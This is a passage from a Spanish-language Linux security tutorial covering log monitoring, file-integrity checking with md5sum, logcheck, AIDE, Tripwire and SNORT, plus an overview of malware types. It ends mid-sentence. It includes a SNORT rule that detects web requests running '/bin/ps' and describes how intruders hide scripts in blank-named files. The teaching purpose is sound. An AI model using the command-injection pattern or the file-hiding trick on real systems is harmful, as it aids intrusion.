Swatch toma varias opciones desde la linea de comandos que pueden ser usadas cuando se esta ejecutando. Por ejemplo, -r [+]hh:mm[am|pm] reiniciará a swatch después de hh horas y mm minutos, donde el uso de [+] reiniciará swatch después de que haya transcurrido hh y mm en el presente tiempo. Sin contar las opciones de la linea de comandos, otras opciones pueden ser entradas directamente dentro del archivo de configuración de swatch. Este archivo de configuración especifica las acciones que swatch tomará cuando este monitoreando un simple archivo log.

Xlogmaster

Este programa provee un GUI para los administradores de sistemas para verificar información sobre su sistema. Los despliegues para Xlogmaster son descritos a continuación:

Entrada	**Descripción**
Mensajes del Sistema	Muestra la salida del archivo /var/log/messages.
Mensajes del arranque	Muestra la salida del archivo /var/log/boot.msg.
Uso del Disco Duro	Despliega la salida del comando df.
Quien esta en linea	Despliega la salida del comando w.
Arbol de procesos	Despliega la salida del comando pstree.

Las otras entradas son hechas configurando el archivo ~/.xlogmaster. Este archivo contiene toda la información de configuración para cada sesión del Xlogmaster. En este archivo cada entrada esta compuesto de cinco campos diferentes: el tipo de operación a ser realizada, el nombre de la operación, el nombre del archivo log completo que sera visto, el intervalo (en décimas de segundo) entre operaciones, el nombre del botón y la descripción que aparece si el mouse es mantenido sobre el botón.

Xlogmaster soporta tres operaciones: RUN, CAT y TAIL. RUN es usado cuando un utilitario, programa o un shell es usada. CAT dará una salida al archivo completo sin verificar que algo ha sido alterado. Este puede ser útil cuando se verifica a través de logs antiguos que no tienen cambio y para archivos que tienen que ser leídos completamente cada vez (tal como los archivos de /proc/). TAIL dará una salida a un archivo completo y continua leyendo el archivo, haciendo salir a la pantalla de Xlogmaster cualquier agregado al final del archivo.

Este puede ser un programa muy útil para que un administrador de sistemas la mantenga en pantalla. Xlogmaster puede ser usado para escanear por problemas de seguridad, luego logcheck puede ser usado para almacenar un diario (récord) permanente de los problemas de seguridad.

Logcheck

Logcheck es una serie de script de shell que verifican todos los logs del sistema por palabras claves que muestran evidencia de que ha ocurrido una ruptura de seguridad, o por lo menos, intentos fallidos de hacer eso. Si una actividad anormal es encontrada, logcheck le enviará la información a un usuario específico (normalmente a root, pero puede ser cambiado configurando el programa). logcheck puede ser programado para ejecutarse desde los utilitarios cron ó at.

Auditoria de Seguridad

Los elementos claves de asegurar un host son la habilidad de poder analizar si han intentado de forzar un host y la inmediata corrección de las vulnerabilidades que pudieron posiblemente patrocinar este hecho. Hay dos tipos de software y de técnicas que están disponibles para ayudar a los administradores en cada caso. Uno trabaja con la parte de detección de intrusos, detectando si una brecha de seguridad ha ocurrido detectando si algo ha sido alterado, movido o borrado maliciosamente. El otro tipo de medida de seguridad es implementar

una forma de poner a prueba los hosts para saber si estos tienen debilidades. Idealmente, las brechas de seguridad en el host no ocurrirán por completo, y para prevenir esas brechas medidas preventivas son extremadamente importantes. Muchos programas tal como SAINT y NESSUS ayudan a los administradores de sistemas a localizar y corregir debilidades en los hosts.

Detección de Intrusos

Sabiendo cuando y si una ruptura de seguridad ha ocurrido en un host es importante y es posible con la ayuda de programas populares como son Tripwire, Advanced Intrusión Dectection Enviroment (AIDE), L5 y Gog&Magog. En general, todos esos programas realizan las mismas funciones. De hecho, AIDE y L5 han nacido del programa Tripwire.

La gran popularidad de Tripwire se debe a la habilidad de poder configurar y personalizar un host en particular. Además, la información que Tripwire le provee al administrador del sistema hace que este identifique rápidamente cualquier posible brecha de seguridad en un host.

La función de Tripwire es monitorear los archivos y directorios específicos de configuración de una variedad de servicios. Anterior a la ejecución de Tripwire, se debe de realizar un backup completo de los datos existentes en el host, la cual debe estar libre de modificaciones maliciosas, esta debe de ser almacenada en un sitio seguro. Por lo tanto, cuando Tripwire verifica un host, este también verifica el estado actual de los archivos y directorios contra los que han sido almacenados en el backup. Cualquier discrepancia luego será mostrada y el administrador de sistemas será advertido. La desventaja de Tripwire es que este ya no es una herramienta de licencia GPL, ni opensource, esto significa que este tiene un precio y su código fuente ya no esta disponible.

Otro método simple de detección de intrusos, y comúnmente pasado por alto, es la localización de los nombres de archivos ocultos. Un nombre de archivo oculto es uno en el cual su nombre de archivo se inicia con un punto (Ej.: .GNU/Linux). La razón para un nombre de archivo oculto es no ser desplegado por el comando ls. Archivos que inician con un punto son comunes archivos de configuración definidos por los usuarios para dictar el comportamiento de las aplicaciones.

El mayor problema con los archivos ocultos es que la mayoría de las veces el comando ls se usa sin el parámetro -a, por lo cual un intruso puede intencionalmente crear un archivo oculto el cual no será detectado hasta que ya sea demasiado tarde. Otra manera es crear intencionalmente un archivo que su nombre sea simplemente un espacio en blanco, el archivo desconocido pasará por alto y puede contener cualquier script maligno y ser ejecutado por el intruso y ser difícil de detectar. Por esto, en el momento de verificar si existe alguno que sea sospechoso el uso del comando ls -a es absolutamente necesario para desplegar todos los archivos y verificar que no existen archivos con nombres en blanco, aquí les dejo un ejemplo de dos en blanco uno espacio y espacio espacio, note el campo nombre:

```
[antonio@localhost A]$ ls -l
-rw-rw-r-- 1 antonio antonio 11 Feb  4 12:01
-rw-rw-r-- 1 antonio antonio 11 Feb  4 12:01
-rw-rw-r-- 1 antonio antonio  0 Feb  4 12:02 archivo.txt
-rw-rw-r-- 1 antonio antonio  0 Feb  4 12:02 carta.txt
```

Prevención de Intrusos

Toda precaución debe de ser tomada para prevenir que un usuario no autorizado accese nuestra la red. Varios programas ayudan en la seguridad de los sistemas permitiéndole a un administrador de sistemas probar si una red tiene debilidades basadas en vulnerabilidades y estar en alerta de problemas que necesitan ser corregidos.

Un tipo importante de agujero de seguridad es los Husmeadores de Paquetes (Packet Sniffers). Los husmeadores son usados por los crackers para robar y ver información que ha sido transferida dentro de una red, sin importar a quien esa información esta dirigida. Tal información puede puede ser desde conocer nuestro diseño de red interna, las rutas a los archivos vitales de nuestros computadoras, las actividades que realizan nuestros usuarios en la red, incluyendo por email. La naturaleza pasiva de un packet sniffer hacen que sea difícil de detectarlos, por lo cual existen muy pocas maneras de combatir dicho agujero de seguridad; sin embargo, es posible utilizar hardware que es resistente a estos métodos utilizado por los crackers, dado el tipo de conexión de las los backbones de fibra óptica, por ejemplo hace que conectarse a uno de nuestros servidores directamente sea mas difícil. La aplicación AntiSniff, por ejemplo, es una excelente herramienta para la detección de packet sniffers. AntiSniff funciona monitoreando una red en búsqueda de packet sniffers y computadores que están en modo promiscuo (promiscuos mode). Normalmente los computadores son configurados para recibir información solamente dirigida a ellas, pero cuando estos son fijados para recibir información de otro computador decimos que están en modo promiscuo, lo que hace que AntiSniff sobresalga cuando se menciona con otros software detectores de intrusos es la habilidad de localizar remotamente las actividades pasivas.

Otro escáner de seguridad remota muy efectivo es el Nessus, el cual es Libre. Este no solo se mantiene por una base de datos de actualizaciones, este también le permite a los usuarios realizar sus propios test de seguridad, haciendo de este una característica muy útil para las necesidades especificas de los administradores. Nessus trabaja probando todos los puertos y la seguridad de cualquier servicio encontrado para ser ejecutado en ellos. Adicionalmente, Nessus puede proveer verificaciones simultaneas de seguridad para una cantidad de hosts ilimitados.

La Herramienta Integrada de Red para Administradores de Sistemas (SAINT) es usada para almacenar información sobre servicios como NFS, Servicio de información de Red (NIS), finger y FTP que son ejecutados en redes y hosts. Mientras esta información contiene información de cuales servicios en una red están siendo ejecutados y cuales hosts lo están ejecutando, este también le da seguimiento a la configuración de esos servicios. Esa información puede ser verificada con cierta regularidad, para evitar potenciales defectos de seguridad.

Esos defectos pueden consistir de servicios configurados incorrectamente por el administrador, o fallas de programación en ciertas versiones del software, mejor conocidos como bugs, o finalmente malas políticas aplicadas. SAINT puede reportar esta información o verificar los problemas de seguridad basados en los datos. Esto también puede explorar hosts y redes externas conectados al sistema local que este ejecuta. Esta habilidad es extremadamente útil cuando se examinan las implicaciones de confiar en los servicios que ejecuta un host vecino. Cuando se esta usando SAINT, un administrador de sistemas debe de monitorear y controlar cuidadosamente que tan lejos este llega y como sus acciones afectan los otros sistemas.

Un paquete extremadamente útil que es incluido con las distribuciones de GNU/Linux es el TCP wrapper desarrollado por Witse Venema. El paquete de TCP wrapper le permite a un administrador restringir las conexiones a servicios basados en direcciones IP. El mayor beneficio de este paquete es que cuando se detecta que se intenta utiliza un servicio que esta siendo monitoreado con TCP wrapper, un número de acciones pueden ser tomadas. El host que realiza el pedido puede ser señalado para que encuentre información sobre lo que desea, o entre otras cosas, este envía un email al administrador. Esta habilidad debe ser usada con precaución ya que teniendo un email enviado cada vez que un servicio altamente usado es accesado puede causar sobrecarga y posiblemente daños al sistema.

Una de las maneras mas útiles de prevenir que un intruso accese una red es a través del uso de un firewall.

Un firewall efectivamente bien administrado puede bloquear ataques maliciosos en un sistema como también almacenar en un log los datos provenientes que pueden ser filtrados para detectar si es evidente un ataque. Los firewalls no son difíciles de programar, y una vez estos han sido configurados, son fáciles de mantener y hacerlos cada vez mas robustos. Son la opción perfecta para el administrador novato, ya que este puede crecer mientras el sistema crece y puede ser bien adaptado a las necesidades de su red.

Integridad de los Archivos

A lo largo del rápido crecimiento de Internet y otros sistemas de red también hubo un gran crecimiento en la cantidad de información compartida e intercambiada. Cada día mucha informaciones importantes son enviadas y recibidas a través de los sistemas de redes. Así como un carro no opera sin gasolina, los negocios y otras instituciones no pueden funcionar apropiadamente si la información vital para sus operaciones esta corrompida o ha sido violada. Hasta los usuarios caseros sufren complicaciones como resultado de descargar de archivos corruptos. Por esta razón, es importante asegurar que la integridad de los archivos sea mantenida siempre, bajo cualquier costo. La integridad de un archivo consiste en su existencia constante y que su información sea incambiable, al menos que se les proporcione cambios específicos e intencionales. Cuando la integridad de un archivo ha sido comprometida, los resultados son impredecibles y potencialmente peligrosos. Los efectos de tener un archivo alterado de su estado previsto puede estar en el rango desde lo mas simple hasta lo devastador. Cuando un cracker invade un sistema, ellos pueden estar dispuesto a hacer cualquier número de ajustes al sistema. Esos cambios pueden estar en el rango desde agregar y eliminar archivos, agregar virus y reemplazar programas por Troyanos. Uno de los buenos rasgos de los crackers es eliminar cualquier evidencia de intrusión, para que así los cambios pueden pasar sin ser detectados indefinidamente, el éxito de esta acción sólo depende de las habilidades del intruso.

No solo debemos cuidarnos de los crackers que hacen daño intencionalmente sino también de los usuarios que por descuido o desconocimiento afectan su sistema sin tener ninguna intención maliciosa. Pero el daño es el mismo. Simple cambios a algunos archivos puede resultar en una degradación por completo del sistema. Algunos cambios pueden abrir vulnerabilidades que no han sido prevista por el administrador. Por estas razones, es importante tener una manera de verificar y mantener la integridad de los archivos.

Conociendo que archivos han cambiado su invaluable información cuando se rastrean los movimientos de alguien que ha comprometido un sistema. Un método de verificar la integridad de un archivo es usando checksum. Un sistema de checksum envuelve agregar a un archivo un número que representa el tamaño del archivo en bits. Cuando es necesaria la verificación de integridad, el checksum puede ser comparado al tamaño del archivo, y si existe una diferencia, el archivo ha sido cambiado. Por ejemplo, TCP utiliza un checksum en cada paquete que este transmite para así asegurar que cada paquete llegue seguro y sin cambios mientras son transmitidos desde un punto a otro en una red. Un método similar de localizar errores en archivos transmitidos es la verificación de redundancia cíclica. La Verificación de Redundancia Cíclica (Cyclic Redundancy Check -CRC-) involucra la aplicación de polinomios a una parte de un dato dada que generará un CRC basado en el dato que este contiene. Parecido a checksum, este CRC es agregado al dato y usado para la verificación por comparación cuando el mismo polinomio es aplicado mas adelante.

Utilitarios de Verificación de Integridad

Existen muchos utilitarios para la verificación de la integridad de los archivos en un sistema, dependiendo en la necesidad de seguridad necesitado por tal sistema. Elegir el mejor utilitario y usarlo consistentemente haría mucho para incrementar la seguridad del sistema. A continuación se les mencionarán algunos de los utilitarios mas conocidos.

sum

El utilitario sum desplegará un checksum de un archivo en específico como también la cuenta de los bloques del archivos. La sintaxis para este utilitario es: sum nombre_del_archivo. Se puede incluir mas de un archivo en una sola sentencia. Un ejemplo para el nombre de archivo /etc/passwd, el comando sum la salida resultante sera:

```
[antonio@localhost A]$ sum /etc/passwd
50103     3
```

Cuando se esta trabajando con un gran número de archivos, como será el caso cuando se realiza verificación de seguridad en un sistema grande, una buena práctica es que periódicamente se almacene la información en un log del checksum realizado a archivos y directorios importantes. En el evento de que un sistema es comprometido, esos logs pueden ser comparados para verificar cuando y cuales archivos fueron modificados. Para realizar una operación de sum de todos los archivos en un directorio, el comando sum * puede ser usado. Para direccionar la salida a un archivo para usarlo luego como referencia, se usa la siguiente sintaxis:

```
sum nombre_del_archivo(s) > archivo_log
```

cksum

El utilitario cksum funciona casi idénticamente al utilitario sum. La gran diferencia es que cksum despliega un checksum CRC y el tamaño del archivo en bytes. cksum también imprime el nombre del archivo, aunque solo se especifique un solo archivo. La sintaxis de usar cksum es idéntica a la del utilitario sum. Al igual que sum, cksum puede ser usado para realizar comparaciones de log en archivos para determinar la probabilidad de perder la integridad de los archivos. cksum puede también ser usado para verificar un archivo en contra de la información de cksum que es algunas veces incluidas con archivos que pueden ser recibidos desde o transferidos a través de redes inseguras.

md5sum

El md5sum es otro utilitario extremadamente útil que generá un checksum de 128-bit para un archivo y despliega el checksum y el nombre de archivo. La sintaxis para md5sum es como sigue:

```
[antonio@localhost A]$ md5sum /etc/passwd
b55c8336ffda001ba9e615006b6cd201  /etc/passwd
```

Adicionalmente, la información de md5sum puede ser añadida a un archivo. La mayor diferencia entre md5sum y el utilitario mencionado anteriormente, cksum, es que md5sum realizará una verificación comparativa entre el archivo almacenado en el log y el archivo existente. Para hacer esto, primero creamos un archivo log, desde una copia de nuestro /etc/passwd llamado usuarios.txt, usando la siguiente sintaxis:

```
[antonio@localhost A]$ md5sum usuarios.txt > usuarios_log.txt
```

Procedemos a verificar si el archivo usuarios.txt a cambiado y para esta prueba no lo hemos alterado y el resultado será:

```
[antonio@localhost A]$ md5sum -c usuarios_log.txt
usuarios.txt: OK
```

Para este ejemplo ahora supongamos que si cambiamos el archivo usuarios.txt y el resultado fue este:

```
[antonio@localhost A]$ md5sum -c usuarios_log.txt
usuarios.txt: FAILED
md5sum: WARNING: 1 of 1 computed checksum did NOT match
```

Podemos hacer lo mismo para todos los archivos en un directorio y almacenar el resultado en un log y

verificarlos en un futuro para ver si han ocurrido algunos cambios. Para hacer esto, se debe ejecutar el siguiente comando: **md5sum * > archivo_log.txt**.

Una vez el archivo ha sido creado, md5sum lo verificara con los archivos existentes en el directorio si es invocado con el argumento -c, como es mostrado a continuación: **md5sum -c archivo_log.txt**

Una vez este comando es ejecutado, md5sum desplegara si el checksum para cada archivo ha cambiado. Si ningún archivo ha cambiado, el texto "OK" sera mostrado al lado del nombre del archivo. Si el checksum difiere entre el archivo log y el último checksum computado, el texto "FAILED" sera mostrado al lado del nombre del archivo.

Logcheck

El utilitario logcheck, aunque no es nada nuevo, es de la década del 90 aún es útil para la detección de potenciales agujeros de seguridad, escaneando los archivos log de los servicios para determinar si han ocurrido ciertas actividades que ameritan alguna investigación. Luego logcheck le envía al administrador vía email un reporte de dichas acciones. Haciendo uso del utilitario logtail, logcheck busca en los archivos logs de los servicios por cadenas que se merezcan la atención del administrador de sistemas. Por ejemplo, en el evento de que un usuario intente ganar acceso al superusuario usando la manera de entrar contraseñas invalidas repetidamente, una entrada a un archivo log sera efectuada que reflejará los intentos fallidos al momento de ingresar como superusuario. Tal entrada causará que logcheck envíe un email con un reporte de los intentos fallidos al administrador de sistemas. Si se ejecuta en background como un trabajo (job) de cron, logcheck salvará a un administrador de sistemas de una potencial tarea de manualmente revisar un largo número de archivos logs para solucionar el problema.

Instalar Logcheck es tan simple en Fedora con un "yum install logcheck" y requiere algunas configuraciones. Esto incluye hacer varios cambios al archivo logcheck.sh tal como indicando el email del administrador de sistemas y especificando cuales archivos logs deben de ser verificados.

La parte mas difícil de la configuración es especificar que información verificar dentro del archivo log. Desde que las entradas de diferentes eventos al archivo log varían de una distribución de GNU/Linux a otra, logcheck puede no detectar un mensaje de error al menos si es distintamente especificada por el administrador de sistema. Por ejemplo, si logcheck busca por la cadena LOGIN FAILURE, este no alertara al administrador de sistemas de un problema si en la distribución de GNU/Linux se reporta AUTHENTICATION FAILURE como intento de login fallido en el log. Por esta razón, es necesario para los administradores de sistemas examinar la prioridad de sus archivos logs para configurar logcheck y determinar cuales entradas especificas su distribución en particular reporta.

Cuatro archivos son usados por logcheck para determinar que entrada de log merece atención administrativa: logcheck.hacking, logcheck.violations, logcheck.violations.ignore y logcheck.ignore. Esos archivos son consultados en el orden de la lista, y cada uno de ellos contiene criterios de búsquedas específicos.

1. El archivo **logcheck.hacking** contiene cadenas que sugerirán intentos de ganar acceso al sistema. Esos agujeros son listados en el reporte de logcheck debajo de Active System Attack Alerts (Alertas de Ataque Activas del Sistema).
2. El archivos **logcheck.violations** contiene cadenas resultantes de una actividad potencialmente maliciosa en un sistema. Esos agujeros serán listados en el reporte debajo de Security Violations (Violaciones de Seguridad).
3. El archivo **logcheck.violations.ignore** filtrara las operaciones deseables que naturalmente retornaran

cadenas que fueron ya detalladas en el archivo logcheck.violations.

4. El cuarto archivo, **logcheck.ignore**, contiene todas las entradas del log que serán ignoradas. Cualquier entrada en el log que no enlace en logcheck.hacking, logcheck.violations y logcheck.ignore serán listadas en el reporte de logcheck debajo de Unusual System Events (Eventos del Sistema Inusuales).

AIDE

El programa AIDE, de licencia GPL, surge como una iniciativa de clonar un sistema de detección de intrusos muy famoso denominado Tripwire, el cual no es software libre. Este sistema se basa en considerar la integridad de los archivos como una de las alarmas de que ha existido una intrusión. Todo el mundo sabe que una de las acciones más comunes de un intruso en un sistema es garantizar el acceso a este sistema aunque el fallo por el que ha accedido a el sea corregido, para ello, los infractores introducen programas que suplantan a los actuales y que habitualmente tienen un fin añadido (generalmente la obtención de datos del sistema, contraseña, implantan puertas traseras, etcétera).

La aproximación que tanto AIDE como Tripwire adoptan es la de salvaguardar ciertos datos de los sistemas de archivos de modo que comparando la situación actual de los mismo con la obtenida anteriormente, se pueda saber que archivos han cambiados. Ambos programas marcan ciertos directorios como /usr/bin como aquellos cuyos archivos no deben ser cambiados. Tras hacer esto, se extraen sumas MD5 o de otro tipo y se guardan fuera del sistema.

Si el administrador del sistema, por algún motivo cree que ha podido ser objeto de una intrusión, recupera las sumas originales, el programa realiza las sumas actuales y las compara, si en algún archivo las sumas no coinciden se da una alarma ya que puede significar que alguien alteró el archivo con intenciones adversas. Con este tipo de sistemas no solo podemos obtener la alarma de que alguno de nuestros archivos ha cambiado sino que también aislaremos el archivo en cuestión.

Es importante la puntualización de guardar las sumas en un soporte físico fuera de la máquina ya que si las dejamos en la misma y alguien realiza una intrusión, podría modificarlas para que encajasen con su programa con código malicioso.

Este sistemas de detección de intrusos no es en tiempo real (se pasa cuando se tiene una sospecha de que algo anda mal o cada cierto tiempo) y puede encajar en los sistemas basados en el objetivo de detectar anomalías.

SNORT

SNORT es un sistema de detección de intrusos muy potente de tiempo real y basado en la red. Este sistema sigue el planteamiento de colocar una máquina con un interfaz promiscua que monitorea el tráfico que circula por la red, de este modo SNORT busca patrones que hagan pensar que se esta desencadenando un ataque sobre la red.

Al igual que logcheck y siguiendo la arquitectura general, el sistema incorpora un grupo de reglas para realizar chequeos determinados sobre el tráfico de red, en este caso categorizados en diversos y numerosos grupos como smtp.rules, ddos.rules, etcétera.

Otra de las grandes virtudes de SNORT es que incorpora un sistema bastante sencillo para escribir nuestras reglas, de modo que podemos adaptarlo a nuestros requerimientos reescribiendo las reglas para los incidentes que deseamos monitorear. Un ejemplo de una regla de SNORT es la siguiente:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:”WEB-ATTACKS ps command

attempt"; flags:A+; uricontent:"/bin/ps"; nocase; sid:1328; rev:1;
classtype:web-application-attack;)

Con este lenguaje se nos permite introducir no solo el protocolo o el puerto al que va destinado el paquete, también podemos indicar el contenido de este, flags determinados de los protocolos, etcétera, de modo que hace el programa extremadamente flexible.

Tripwire

Al leer de Tripwire debe mantener siempre en mente que existen varios productos con este nombre, uno solo es GPL, de ese es que hablaremos aquí otros son privativos. El software Tripwire puede ayudarle a asegurar la integridad de archivos y directorios de sistema esenciales identificando todos los cambios hechos a ellos. Las opciones de configuración de Tripwire incluyen la capacidad de recibir alertas por medio de correo electrónico si hay archivos específicos que han sido modificados y el control de integridad automatizado a través de un trabajo cron. El uso de Tripwire para detectar intrusiones y fijar daños le ayuda a mantenerlo al tanto de los cambios del sistema y puede agilizar el restablecimiento de una entrada forzada reduciendo el número de archivos que hay que restablecer para reparar el sistema.

Tripwire compara los archivos y directorios con una base de datos de la ubicación de los archivos, las fechas en que han sido modificados y otros datos. Tripwire genera la base de datos tomando una lista de archivos y directorios específicos en estado conocido como seguro. Para máxima seguridad, Tripwire debería ser instalado y la base de datos debería ser creada antes que el sistema sea expuesto al riesgo de intrusión. Después de haber creado la base de datos, Tripwire compara el sistema actual con la base de datos y proporciona información sobre cualquier modificación, añadidura, o supresión.

Prueba de Vulnerabilidad

Un sistema GNU/Linux que este conectado a Internet, o solo a una simple red local, inevitablemente estará sujeto a un ataque de alguna clase. La primera cosa a realizar cuando se esta asegurando un sistema es probar sus vulnerabilidades.

Existe dos grandes áreas de vulnerabilidad que un sistema de computación debe de reforzar: un ataque desde un software que fue alojado en el computador o daños físicos que vienen dados por partes del computador que son robadas o dañadas. Sin importar si es un software o un hardware, siempre existe la posibilidad de daños en el sistema.

Los siguientes temas serán cubiertos en esta sección:

- Vulnerabilidad de los Software
- Vulnerabilidad del Hardware
- SAINT
- Tiger

Vulnerabilidades del Software

Programas hostiles son programas que pueden hacer daño a su sistema. Software malicioso usualmente caen dentro de una de las siguientes categorías y discutiremos cada una de estas en esta sección:

- Desbordamiento del Buffer
- Trojan Horse (Troyanos)
- Virus
- Gusanos
- Backdoors

- Bombas Lógicas

Programas hostiles no son muy comunes en GNU/Linux. Solo algunos han sido vistos alguna vez. La mayor razón es que no pueden hacer un gran daño al menos que sean ejecutados como root. La mayoría de los programas y la información de configuración en el sistema pueden ser solo escritos por root. De tal manera, si un virus o Troyano es ejecutado por un usuario que no es root, este probablemente no hará mucho daño. Tampoco tendrán la oportunidad de esparcirse. Si este es ejecutado como root, este podrá hacer mucho mas daño. Esa es una buena razón por lo cual usted solo debe de usar la cuenta de root cuando sea completamente necesario. Cuando se esta ejecutando como root, usted también debe de tener cuidado al momento de ejecutar un programa desde fuentes no confiables.

Desbordamiento del Buffer

Los desbordamiento del buffer son la fuente de la mayoría de los ataques en los sistemas GNU/Linux. Por que los desbordamientos? La vulnerabilidad viene desde ciertos errores de programación que son difíciles de evitar para los programadores, así que naturalmente muchos programas contienen este tipo de error. Son causados cuando ciertas variables reciben mas datos de lo que los programadores anticiparon. Si sucede de que esa variable es la responsable de almacenar entrada que alguien puede modificar, un atacante con habilidades puede introducir la condición de error, causando que el programa tenga problemas o que funcione de una manera para la cual no fue diseñado. Cuando un programa importante contiene uno de esos errores, este puede ser eventualmente encontrado por alguien y usado como una ruta de ataque.

Los atacantes buscan ciertos tipos de programas cuando están buscando víctimas de desbordamiento de buffer. Los favoritos son aquellos que tienen privilegios Setuid. Los programas Setuid tienen acceso de nivel root pero solo usan el privilegio para realizar alguna pequeñas tareas y nada mas; no obstante, el privilegio de hacer cualquier cosa esta ahí. Cuando un atacante puede inducir un desbordamiento de buffer dentro de un programa Setuid, el programa puede colgarse de una manera en la cual deja un shell de root para el atacante. Otra posibilidad es la aceptación de comportamientos errados desde el programa, como si este es originado por root.

Los problemas de desbordamientos de buffer han sido recientemente explotados en daemons de red populares tales como qpopper, named, wu-ftpd, como también en muchos otros. Un método de ayudar a proteger en contra de los desbordamiento de buffer y así ganar acceso al shell de root, es creando una cuenta nobody. Asignar a nobody como el propietario de los servicios del sistema. Si se desborda el buffer, el atacante ganara acceso al sistema como nobody, con los permisos de nobody, no como los de root.

Los Troyanos (Trojan Horses)

Son nombrados Trojan Horse (Caballo de Troya) por el método usado por los Griegos para sobrepasar la seguridad de los Troyanos. El programa parece inofensivo y dice hacer algo útil o entretenido para el usuario. Cuando el programa esta en ejecución, este parece hacer cierta tarea para el usuario, tales como ejecutar un juego o un procesador de texto, pero su función primaria (oculta) es realizar otra tarea posiblemente maliciosa, la cual usualmente puede hacerle daño al sistema.

Un ejemplo fácil de un Troyano es el reemplazo del programa de login. El programa Troyano aparece para realizar el comando login. En realidad, el programa Troyano captura la contraseña del usuario que ha ingresado al sistema, le envía la contraseña a otra cuenta, registra al usuario dentro del sistema (o da un mensaje de error y entrega al real programa de login), y se elimina (el programa Troyano) del sistema. Este ejemplo será instalado

por el intruso, y su presencia no será detectada por el usuario inmediatamente, sino cuando empiecen los problemas y se efectué una investigación.

Otro ejemplo puede ser desplegar una animación divertida u ofrecer ejecutar un juego. Mientras el usuario esta siendo entretenido, el programa comienza a elaborar sus tarea de explorar el sistema, enviando la información a su amo, o puede estar simplemente vandalizando el sistema del host.

Esos programas son muy comunes. Un ejemplo real de un programa Troyano fue una supuesta actualización del software util-linux. Este software contiene muchos utilitarios que son útiles para sistemas que ejecutan GNU/Linux. En Enero 1999, una versión de este programa, contenía código que modificaba el comando /bin/login para enviar un email a la dirección de un usuario en específico. Este email incluiría el nombre del host del sistema como también una lista de los usuarios que están dentro del sistema.

El código se ejecutaría cada vez que un usuario ingresara al sistema, también que cualquiera con acceso al prompt en el sistema enviara un comando de ejecución dañina para el sistema. La mejor manera de asegurar un sistema de un Troyano es estudiar el código fuente de todos los programas que serán instalados en el sistema. Así sera posible prevenir sorpresas cuando un programa es ejecutado.

Los Virus

Los virus son otra forma de ataque. Un virus es un código que entra a un sistema como parte de un programa. Una vez en el sistema, este se esconderá en memoria y atacará cada programa que se ejecuta o cualquier archivo de programa que encuentre en el disco. Algunos virus son naturalmente deliberados como destructivos, destruyendo el Master Boot Record (MBR) en su disco duro, eliminando programas o simplemente dejando los programas inoperables. Otros virus no causan mucho daños pero simplemente son una molestia, tal como aquellos que despliegan mensajes o animaciones en su monitor. Frecuentemente, debido a la pobreza técnica del código, esta clase de virus pueden consumir excesivos recursos e inadvertidamente causan que el sistema se cuelgue o la perdida de datos, algunas veces debido a un simple pánico de usuario.

Los Gusanos

Los gusanos son aún otra forma de ataque. Diferente a los virus, un gusano se distribuye entre una red y entra a un sistema computacional como un programa stand-alone, no agregado a otra pieza de código. Una vez en el sistema, este hará su trabajo. Como los virus, un gusano puede ser intencionalmente destructivo o puede ser benigno. Algunas veces un gusano benigno, como un virus benigno, puede salirse de control y causar danos no intencionales o el agotamiento de los recursos, potencialmente dejando un sistema inútil.

El ejemplo mas cercano del grado de daño que puede causar un gusano a una red completa ocurrió mientras Internet estaba aún en su infancia. En Noviembre del 1988, Robert Morris, un estudiante de la universidad Cornell, lanzo un programa que utilizaba el programa sendmail para replicarse. El programa se replico rápidamente a través de todas las redes disponibles en tiempos múltiples, sacando de juego muchos sistemas computacionales. Este programa eventualmente se propago a través de todos los computadores que estuvieron conectados a la red en ese momento, incluyendo computadores del gobierno, militares y sistemas académicos. El costo de los daños del programa gusano estuvo en el rango de ciento de dolares a miles de dolares por cada sistema que fue golpeado por este.

Los gusanos son difíciles de crear, pero una vez escritos, estos pueden fácilmente dañar cualquier sistema computacional. La mejor manera de controlar un gusano que ha entrado a un sistema es desconectarlo de la red, lo cual permitirá que los datos se mantengan dentro de la red local y prevendrá al gusano a que ingrese de nuevo a la red. Una vez el gusano ha sido detectado y deshabilitado, la restauración del sistema debe de iniciar.

Backdoors (Puerta Traseras)

Muchos programadores codificaran backdoors dentro de programas hasta para propósito de corrección de errores o accesar al programa sin tener que pasar a través de los tediosos scripts de autenticación. Mientras esto es un uso legitimo para el uso de backdoors, esos agujeros de seguridad en un programa pueden ser usados para propósitos malignos si son encontrados y alguien con malas intenciones toma ventaja de estos.

Los backdoor le permiten acceso a programas con permisos de root, permitiéndole al usuario del programa realizar tareas como root. Por ejemplo, si un backdoor modifica los permisos en los archivos /etc/passwd y etc/shadow, luego un intruso puede accesar esos archivos para crackear las contraseñas del sistema y obtener el acceso a root.

La mejor manera de protegerse en contra de tales vulnerabilidades de esos programas es mantener una verificación en todos los sistemas importantes y los archivos de seguridad como también una verificación en todos los software nuevos instalados en el sistema. Una buena política es instalar todos los software nuevos en un sistema de prueba antes de instalarlo en el sistema real. Esto le permitirá a los administradores probar si existen agujeros de seguridad dentro del nuevo programa.

Bombas Lógicas (Logic Bombs)

Una bomba lógica es un programa que ejecutara una tarea especifica cuando ciertos requerimientos son cumplidos. Estros requerimientos pueden ser una fecha, una hora o cuando un usuario cierto usuario ingresa o sale del sistema.

En una fase, el programa dañará el sistema si el id de usuario de un empleado estuvo fuera de la nomina de pago por una específico periodo de tiempo. Así, si un empleado fue despedido de la compañía, el programa puede dañar los sistemas de la compañía.

Como cualquier tipo de software malicioso, la protección en contra de las bombas lógicas es alcanzada instalando el software en un sistema de práctica para permitir la prueba del programa y analizando su código fuente si esta disponible.

Vulnerabilidades del Hardware

Agregándose a las vulnerabilidades del software, también esta la amenaza de un daño físico al sistema. Cuando un usuario tiene acceso físico a un servidor, un simple reinicio puede algunas veces comprometer la seguridad. Mantener los cuartos de servidores cerrados y con seguro, proteger el acceso a puertos de la red y asegurando todos los componentes y equipos cerrados puede disminuir la oportunidad de robo o danos al hardware.

Los usuarios legítimos de un sistema pueden ser fuentes de ataques a las debilidades del sistema. Los usuario no autorizados pueden ganar conocimientos de donde son guardadas las llaves de las habitaciones aseguradas, donde los sistemas están menos seguros que otros y como dañar ordenares sutiles en el sitio donde operan. Una manera de evitar tales problemas es una revisión regular de los archivos logs del sistema.

Con los sistemas de precauciones necesarios, tales como la revisión de programas, los logs del sistema, el antecedente de los empleados y la seguridad física del lugar de operación, las vulnerabilidades del sistema pueden ser fácilmente minimizados.

SAINT

SAINT también conocido como Security Administrator’s Integrated Network Tool (Herramienta de Red Integrada a la Seguridad del Administrador) es la consecuencia del utilitario anterior SATAN. Es una de las

